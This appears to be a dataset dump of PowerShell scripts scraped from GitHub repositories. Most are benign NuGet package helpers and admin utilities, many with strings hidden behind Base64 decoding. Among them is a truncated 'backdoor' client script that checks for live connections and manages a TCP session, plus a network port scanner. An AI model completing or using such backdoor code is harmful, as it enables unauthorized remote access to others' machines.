full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/IseSteroids/Github/smitsdj_auto-man/Auto-Man/Auto-Man/Get-InDesiredState.ps1 | Get-InDesiredState.ps1 | function Get-InDesiredState
{
param
(
[parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string] $Hostname,
[parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string] $RegExp,
[Parameter(Mandatory = $true)]
[System.Management.A... |
PowerShellCorpus/IseSteroids/Github/jritsema_windows-container-101/test.ps1 | test.ps1 | docker build -t nano .
$id = docker run -d -p 80:80 nano
$ip = docker inspect --format="{{.NetworkSettings.Networks.nat.IPAddress}}" $id
curl $ip
docker rm -f $id |
PowerShellCorpus/IseSteroids/Github/chantisnake_github2choco.old/tools/localHandler.ps1 | localHandler.ps1 | function Read-LocalPrfile {
Write-Host ''
${3} = "$PSScriptRoot\.."
${2} = "${3}\profile.json"
if (Test-Path ${2}) {
Write-Host 'profile found' -ForegroundColor Green
$profile = gc ${2} | ConvertFrom-Json
}
else {
Write-Host 'Profile Not Found, starting with an empty profile'
$profile = New-Obj... |
PowerShellCorpus/IseSteroids/Github/chantisnake_github2choco.old/tools/zipPackageWriter.ps1 | zipPackageWriter.ps1 |
. $PSScriptRoot\localHandler.ps1
. $PSScriptRoot\remoteHandler.ps1
. $PSScriptRoot\nuspecGen.ps1
. $PSScriptRoot\toolsGen.ps1
function New-VersionPackage ($profile, $release, $packageName) {
${6} = Get-RemoteVersion -remoteRelease $release
${10} = $release.body.replace("\n", "`r`n")
${13} = $profile.$packag... |
PowerShellCorpus/IseSteroids/Github/bielawb_EWS/EWS/New-EWSFolder.ps1 | New-EWSFolder.ps1 | function New-EWSFolder {
[OutputType('Microsoft.Exchange.WebServices.Data.Folder')]
[CmdletBinding(
DefaultParameterSetName = 'byName'
)]
param (
[Parameter(
Mandatory,
ValueFromPipelineByPropertyName
)]
[string]$DisplayName,
... |
PowerShellCorpus/IseSteroids/Github/bielawb_EWS/EWS/Connect-EWSService.ps1 | Connect-EWSService.ps1 | function Connect-EWSService {
[OutputType('Microsoft.Exchange.WebServices.Data.ExchangeService')]
[CmdletBinding()]
param (
[Parameter(
Mandatory
)]
[String]$Mailbox,
[String]$ServiceUrl,
[Microsoft.Exchange.WebServices.Data.ExchangeVersion]... |
PowerShellCorpus/IseSteroids/Github/bielawb_EWS/EWS/Get-EWSItem.ps1 | Get-EWSItem.ps1 | function Get-EWSItem {
[OutputType('Microsoft.Exchange.WebServices.Data.Item')]
[CmdletBinding(
DefaultParameterSetName = 'byId'
)]
param (
[Parameter(
Position = 0,
Mandatory
)]
[string]$Filter,
[Parameter(
... |
PowerShellCorpus/IseSteroids/Github/ehsanalizadeh_551-50/ISEM551/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
${8} = $scriptsFolderProjectItem.ProjectItems.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwByAGUAZgBlAHIAZQBuAGMAZQBzAC4AagBzAA=='))))
}
catch {
# _references.js... |
PowerShellCorpus/IseSteroids/Github/RasmusLundquist_Labb2-Webb-Och-Mobil-Utveckling/WebApi/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
${_/====\/==\__/\_/} = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
${/=\___/==\/\/=\_/} = gi $file
trap { ;
continue } ${/====\__/\/=====\} = ${/=\___/==\/\/=\_/}.OpenRead()
if ($? -eq $false) {
return $null
}
${__/=\/... |
PowerShellCorpus/IseSteroids/Github/RasmusLundquist_Labb2-Webb-Och-Mobil-Utveckling/WebApi/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
try
{
$url = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBqAGEAbQBlAHMALgBuAGUAdwB0AG8AbgBrAGkAbgBnAC4AYwBvAG0ALwBqAHMAbwBuAA==')))
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq $([Te... |
PowerShellCorpus/IseSteroids/Github/rickjury_Sumologic-DatePickerHelper/SumoDateTimeExpressionPicker.ps1 | SumoDateTimeExpressionPicker.ps1 | ############################################################
# generate sumo logic formatted timestamp string
# to paste into the time field
###########################################################
Add-Type -AssemblyName System.Windows.Forms
$timeformat="ddd dd/MM/yyyy HH:mm:ss"
# Main Form
$mainForm = New... |
PowerShellCorpus/IseSteroids/Github/kimizhu_kimizhuRepo1104075208/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
$errorActionPreference = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB0AG8AcAA=')))
echo "download build core script to... |
PowerShellCorpus/IseSteroids/Github/JefTek_O365D2MTTools/O365D2MTTools/O365D2MTTools/O365D2MTTools.tests.ps1 | O365D2MTTools.tests.ps1 | #
# This is a PowerShell Unit Test file.
# You need a unit test framework such as Pester to run PowerShell Unit tests.
# You can download Pester from http://go.microsoft.com/fwlink/?LinkID=534084
#
Describe $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQALQBGAHUAbgBjAHQAaQBvAG4A'))) {
... |
PowerShellCorpus/IseSteroids/Github/ThePickNick_Scripts/CheckSQLHealth.ps1 | CheckSQLHealth.ps1 |
Function Set-AlternatingRows {
[CmdletBinding ()]
Param(
[Parameter(Mandatory ,ValueFromPipeline)][string] $Line,
[Parameter(Mandatory)][string] $CSSEvenClass,
[Parameter(Mandatory)][string] $CSSOddClass
)
Begin
{
$ClassNam... |
PowerShellCorpus/IseSteroids/Github/hernangm_punch.sortable/build/nuget.ps1 | nuget.ps1 | #========================================
# Nuget functions
#========================================
function Create-Nupkg ([string]$nu_spec_or_trans_file_path, [string]$nupkg_path, [string]$configuration, [bool]$pack_source_code_only, [string]$version) {
${_/=\/=\____/=\__/}= @{}
${_/=\/=\____/=\__/}.b... |
PowerShellCorpus/IseSteroids/Github/kapilkhanduja25_kapil/Start-SourceControl.ps1 | Start-SourceControl.ps1 | workflow Start-SourceControl
{
echo "Azure Automation Source Control via GitHub"
}
|
PowerShellCorpus/IseSteroids/Github/dynatrace-innovationlab_bosh-oneagent-release/jobs/dynatrace-oneagent-windows/templates/pre-start.ps1 | pre-start.ps1 | # ==================================================
# dynatrace pre-installation script
# ==================================================
# configuration section
# ==================================================
$ProgressPreference = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBpAG... |
PowerShellCorpus/IseSteroids/Github/arachan_PrinterInstallList/function/create-printer.ps1 | create-printer.ps1 | function create-printer{
Param(
$Name,
$DriverName,
$PortName,
$Location,
$Comment
)
Begin{
$PrinterList=New-Object System.Management.ManagementClass($([Text.Encoding]::Unicode.GetString([Convert]::F... |
PowerShellCorpus/IseSteroids/Github/kubikdanon_IT-2320/Final Project/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
${4} = [System.Version]::Parse($dte.Version)
${5} = ${4}.Major -ge 11
if (-not ${5}) {
${3} = ${4}.Major
Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64S... |
PowerShellCorpus/IseSteroids/Github/kubikdanon_IT-2320/Final Project/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAA==')))
$fileInfo = gi $file
trap { ;
... |
PowerShellCorpus/IseSteroids/Github/melzoghbi_O365API/WebAPICore1/Properties/PublishProfiles/IntuPowerAPI - Web Deploy-publish.ps1 | IntuPowerAPI - Web Deploy-publish.ps1 | [cmdletbinding(SupportsShouldProcess=$true)]
param($publishProperties=@{}, $packOutput, $pubProfilePath)
try{
if ($publishProperties[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAByAG8AagBlAGMAdABHAHUAaQBkAA==')))] -eq $null){
$publishProperties[$([Text.Encoding]::Unicode.GetString... |
PowerShellCorpus/IseSteroids/Github/melzoghbi_O365API/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Console")
{
$consoleWindow = $(Get-VSComponentModel).GetService([NuGetCons... |
PowerShellCorpus/IseSteroids/Github/fil-eadr_asp-mvc-MiF/MiFWebSolution/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersion = $vsVersion.Major
Write-Host "IntelliSense JS fi... |
PowerShellCorpus/IseSteroids/Github/fil-eadr_asp-mvc-MiF/MiFWebSolution/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/fil-eadr_asp-mvc-MiF/MiFWebSolution/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
${/=\/\/==\/\_/=\/=} = $scriptsFolderProjectItem.ProjectItems.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwByAGUAZgBlAHIAZQBuAGMAZQBzAC4AagBzAA=='))))
}
catch {
... |
PowerShellCorpus/IseSteroids/Github/elaineslvt_Testes/Testes_Way2/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/elaineslvt_Testes/Testes_Way2/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
Write-Host "No Scripts folder found"
exit
}
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx $modernizrFileName |
PowerShellCorpus/IseSteroids/Github/elaineslvt_Testes/Testes_Way2/packages/jQuery.UI.Combined.1.8.24/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
Remove-Reference $scriptsFolderProjectItem $juiFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/elaineslvt_Testes/Testes_Way2/packages/jQuery.1.8.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/IseSteroids/Github/elaineslvt_Testes/Testes_Way2/packages/jQuery.1.8.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
return $null
}
$bytes = $cryptoProvider.ComputeHash($stre... |
PowerShellCorpus/IseSteroids/Github/XuanDo09_OOP/DemoMVC/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAA==')))
$fileInfo = gi $file
trap { ;
... |
PowerShellCorpus/IseSteroids/Github/XuanDo09_OOP/DemoMVC/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
Write-Host "No Scripts folder found"
exit
}
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx $modernizrFileName |
PowerShellCorpus/IseSteroids/Github/XuanDo09_OOP/DemoMVC/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
${00011010110001001} = $scriptsFolderProjectItem.ProjectItems.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwByAGUAZgBlAHIAZQBuAGMAZQBzAC4AagBzAA=='))))
}
catch {
... |
PowerShellCorpus/IseSteroids/Github/XuanDo09_OOP/DemoMVC/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Console")
{
$consoleWindow = $(Get-VSComponentModel).GetService([NuGetCons... |
PowerShellCorpus/IseSteroids/Github/jvinhit_WCFProject/ProjectMVC/packages/jQuery.1.10.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSenseFilePa... |
PowerShellCorpus/IseSteroids/Github/jvinhit_WCFProject/ProjectMVC/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
${00011000100101111} = [System.Version]::Parse($dte.Version)
${01100011000001011} = ${00011000100101111}.Major -ge 11
if (-not ${01100011000001011}) {
${001101... |
PowerShellCorpus/IseSteroids/Github/jvinhit_WCFProject/ProjectMVC/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/jvinhit_WCFProject/ProjectMVC/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/IseSteroids/Github/igotabs_test1/ConsoleApplication1/packages/OctoPack.3.4.6/tools/Install.ps1 | Install.ps1 | param($installPath, $toolsPath, $package, $project)
# This is the MSBuild targets file to add
${10100111111010101} = [System.IO.Path]::Combine($toolsPath, $package.Id + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AGEAcgBnAGUAdABzAA=='))))
# Need to load MSBuild assembly if it... |
PowerShellCorpus/IseSteroids/Github/CS4790S17_AFAF_SandboxRepo/PlayProject/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersion = $vsVersion.Major
Write-Host $ExecutionContext.I... |
PowerShellCorpus/IseSteroids/Github/CS4790S17_AFAF_SandboxRepo/PlayProject/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/CS4790S17_AFAF_SandboxRepo/PlayProject/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Console")
{
$consoleWindow = $(Get-VSComponentModel).GetService([NuGetCons... |
PowerShellCorpus/IseSteroids/Github/gustavoquevedo_feedback-survey-mvc/FeedbackSurvey/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAA==')))
$fileInfo = Get-Item $file
trap {... |
PowerShellCorpus/IseSteroids/Github/gustavoquevedo_feedback-survey-mvc/FeedbackSurvey/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/adamkos93_PWI/WebApplication1/packages/jQuery.1.9.1/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $cryptoPro... |
PowerShellCorpus/IseSteroids/Github/jpihle_ECMTest/ECMTestScript.ps1 | ECMTestScript.ps1 | ECMTestScript Versjon 1
Endringer lagt til |
PowerShellCorpus/IseSteroids/Github/OPS-E2E-PPE_E2E_D_NewRepo_2017_4_21_21_58_22/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
$errorActionPreference = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB0AG8AcAA=')))
echo $ExecutionContext.InvokeComm... |
PowerShellCorpus/IseSteroids/Github/kevinley94_Week6CodeChallenge/Week6CodeChallenge/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
${/=\/\/\_____/===\} = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
${_/=\/===\____/\/=} = gi $file
trap { ;
continue } ${__/=\/\/\/=======} = ${_/=\/===\____/\/=}.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return ... |
PowerShellCorpus/IseSteroids/Github/nkiruthikkumar_powershellscripts/createVM4SP2016-S1.ps1 | createVM4SP2016-S1.ps1 |
$vhdxPath = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RAA6AFwAVgBNAF8ARABzAFwASAB5AHAAZQByAFYAXwBEAGkAcwBrAHMAXABTAFAAMgAwADEANgBcAFMAUAAyADAAMQA2AC0AcwBpAG4AZwBsAGUALQBzAGUAcgB2AGUAcgAtAGQAbwBjAG8AXAB3AGkAbgAyADAAMQAyAFIAMgBTAHQAZABfAEcAcgBvAHcAaQBuAGcALgB2AGgAZAB4AA==')))
$VM = New-VM -Na... |
PowerShellCorpus/IseSteroids/Github/willprice_devbox-windows/setup.ps1 | setup.ps1 | Import-Module Boxstarter.Chocolatey
${/=\_/====\__/=\/\} = "DevBox"
${_/=\______/===\/=} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAF8ALwA9AD0APQA9AFwAXwBfAC8APQBcAC8AXAB9AC4AQgBvAHgAUwB0AGEAcgB0AGUAcgAuAHAAcwAxAA==')))
New-PackageFromS... |
PowerShellCorpus/IseSteroids/Github/rayterrill_PowerShellPlayground/SQLServer/Get-SSISXMLDetails.ps1 | Get-SSISXMLDetails.ps1 |
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True)][string]$ssisPackage
)
[xml]${____/\_/=\_/==\/=} = gc $ssisPackage
${/=\/=\/\_/==\_/=\} = ${____/\_/=\_/==\/=}.Executable.Executables
foreach (${/=\/\__/==\__/==\} in ${/=\/=\/\_/==\_/=\}) {
${_____/==\/\/=\/\_} = ${/=\/\__/==\__/==\}.Executabl... |
PowerShellCorpus/IseSteroids/Github/dotps1_PSFunctions/Functions/New-ADUserName.ps1 | New-ADUserName.ps1 |
[CmdletBinding()]
[OutputType(
[String]
)]
param (
[Parameter(
Mandatory = $true
)]
[Alias(
'GivenName'
)]
[String]
$FirstName,
[Parameter(
Mandatory = $true
)]
[Alias(
'Surname'
)]
[String]
$LastName,
[Parame... |
PowerShellCorpus/IseSteroids/Github/jpvantuyl_docker-templates/Windows/windows-nanoserver-fullyloaded/Provision/Apply-Unattend.ps1 | Apply-Unattend.ps1 |
Dism /online /add-package /packagepath:c:\packages\Microsoft-NanoServer-DSC-Package.cab
Dism /online /add-package /packagepath:c:\packages\Microsoft-NanoServer-DNS-Package.cab
dism /online /apply-unattend:.\unattend.xml
|
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_vsconfigbackup/.vscode/extensions/ms-vscode.PowerShell-0.7.2/examples/ExtensionExamples.ps1 | ExtensionExamples.ps1 |
function Invoke-MyCommand {
Write-Output $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQB5ACAAYwBvAG0AbQBhAG4AZAAnAHMAIABmAHUAbgBjAHQAaQBvAG4AIAB3AGEAcwAgAGUAeABlAGMAdQB0AGUAZAAhAA==')))
}
Register-EditorCommand -Verbose `
-Name $([Text.Encoding]::Unicode.GetString([C... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_vsconfigbackup/.vscode/extensions/ms-vscode.PowerShell-0.7.2/examples/PathProcessingNoWildcards.ps1 | PathProcessingNoWildcards.ps1 |
function Import-FileNoWildcard {
[CmdletBinding(SupportsShouldProcess=$true)]
param(
[Parameter(Mandatory=$true,
Position=0,
ParameterSetName="Path",
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$t... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_vsconfigbackup/.vscode/extensions/ms-vscode.PowerShell-0.7.2/examples/Tests/SampleModule.Tests.ps1 | SampleModule.Tests.ps1 | ${/=\/\/==\/\__/\/\} = 'SampleModule.psd1'
Import-Module $PSScriptRoot\..\${/=\/\/==\/\__/\/\}
Describe 'Module Manifest Tests' {
It 'Passes Test-ModuleManifest' {
Test-ModuleManifest -Path $PSScriptRoot\..\${/=\/\/==\/\__/\/\}
$? | Should Be $true
}
}
|
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_vsconfigbackup/.vscode/extensions/ms-vscode.PowerShell-0.7.2/scripts/Start-EditorServices.ps1 | Start-EditorServices.ps1 | # PowerShell Editor Services Bootstrapper Script
# ----------------------------------------------
# This script contains startup logic for the PowerShell Editor Services
# module when launched by an editor. It handles the following tasks:
#
# - Verifying the existence of dependencies like PowerShellGet
# - Verif... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_ps1/GPRSService_Restart.ps1 | GPRSService_Restart.ps1 | #This script is an updated version of the GPRSRestart.bat
#GPRSService_Diagnostic_Restart
#This tool restarts the GPRS Service and saves diagnostic data for Root Cause investigation
#Created by Jaco van Zyl
#Last updated on 2016/11/15
Get-Process | Out-File D:\Work\_Maintenance\GPRSService\Diagnostics\Diagnostics\... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_ps1/Get-Service.ps1 | Get-Service.ps1 | ForEach ($Server in Get-Content "D:\Work\Servers.txt")
{
Get-WmiObject Win32_Service -ComputerName $Server|
Select-Object $Server, Name, Startmode, State, StartName |
Where-Object StartName -like '*production*' |
Where-Object State -like 'Stopped'|
Sort Name | ft $Server, Name -autosize |
Out-File -Append -Fi... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_ps1/test.ps1 | test.ps1 |
${_/\_/=\/\/\_/\/=\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAGEAZgBzAHQAYgB3AHMAMgA5ADAAXABNAG8AbgBpAHQAbwByAHMAXwBmAGkAbABlAHMAXABVAFIATABMAGkAcwB0AC4AdAB4AHQA')))
${_/====\_/\/\_/===} = gc ${_/\_/=\/\/\_/\/=\} -ErrorAction SilentlyContinue
${_/\_/==\/\/\_/\_/} = @()
Forea... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_ps1/MailShadowCopyReports.ps1 | MailShadowCopyReports.ps1 | #This script creates a single archive containing all ShadowCopy Reports
#and then sends them off to the designated recipients.
#Created by Jaco van Zyl
#Last updated on 2017/03/15
#Check for .7z
${7} = "C:\Program Files\7-Zip"
If(!(test-path ${7}))
{
Invoke-Expression D:\Work\_Maintenance\Scripts\7zip.ps1
}
#... |
PowerShellCorpus/IseSteroids/Github/JacoMiXTelematics_Scripts/_ps1/Cleanup_Logs_v1.ps1 | Cleanup_Logs_v1.ps1 | $api = New-Object -comObject $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBPAE0ALgBTAGMAcgBpAHAAdABBAFAASQA=')))
$bag = $api.CreatePropertyBag()
$free = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='L:'" | Foreach-Object {$_.FreeSpace}
$freemb = [Math]::Round($free / 1MB)
If ($freemb -lt... |
PowerShellCorpus/IseSteroids/Github/cyberhunter00_backdoor/client.ps1 | client.ps1 | ${17} = netstat -n
if (${17} -match $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBQADoAUABPAFIAVAAgACAAIABFAFMAVABBAEIATABJAFMASABFAEQA')))){exit}
function cleanup {
if (${12}.Connected -eq $true) {${12}.Close()}
if (${6}.ExitCode -ne $null) {${6}.Close()}
exit}
${16} = $([Text.Encoding]::U... |
PowerShellCorpus/IseSteroids/Github/amitbed_workshop-mvc/ForumApplication/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwByAGUAZgBlAHIAZQBuAGMAZQBzAC4AagBzAA=='))))
}
catch {
... |
PowerShellCorpus/IseSteroids/Github/amitbed_workshop-mvc/ForumApplication/packages/jQuery.1.8.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
${/=\/\__/\/\_/\/==} = [System.Version]::Parse($dte.Version)
${___/\___/\__/==\_} = ${/=\/\__/\/\_/\/==}.Major -ge 11
if (-not ${___/\___/\__/==\_}) {
${_/\_/\... |
PowerShellCorpus/IseSteroids/Github/amitbed_workshop-mvc/ForumApplication/packages/jQuery.1.8.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
${16} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAA==')))
${17} = gi $file
trap { ;
continue } $... |
PowerShellCorpus/IseSteroids/Github/aadje_powershell-koans/PowerShellKoans.ps1 | PowerShellKoans.ps1 |
Write-Error "Don't run this script file. Use the Powershell-ISE, RUN SELECTION (Just like in Sql Management Studio!)(F8 is the shortcut) to easily test commands" -ErrorAction Stop
$PSHOME
$host
$host.Runspace
ipmo ServerManager; Add-WindowsFeature PowerShell-ISE
[IntPtr]::Size
explorer.exe C:\Win... |
PowerShellCorpus/IseSteroids/Github/g60wall_Port-SCAN/Port-Scan.ps1 | Port-Scan.ps1 |
function Port-Diag {
<#
.SYNOPSIS
Scan IP-Addresses, Ports and HostNames
.DESCRIPTION
Scan for IP-Addresses, HostNames and open Ports in your Network.
.PARAMETER StartAddress
StartAddress Range
.PARAMETER EndAddress
EndAddress Range
.PARAMETER ResolveHost
Resolve HostName
.PARAMETER ScanPort
Perfo... |
PowerShellCorpus/IseSteroids/Github/PCFDev_i2b2-Windows-Installer/uninstall-shrine.ps1 | uninstall-shrine.ps1 |
. .\functions.ps1
. .\config-system.ps1
. .\config-i2b2.ps1
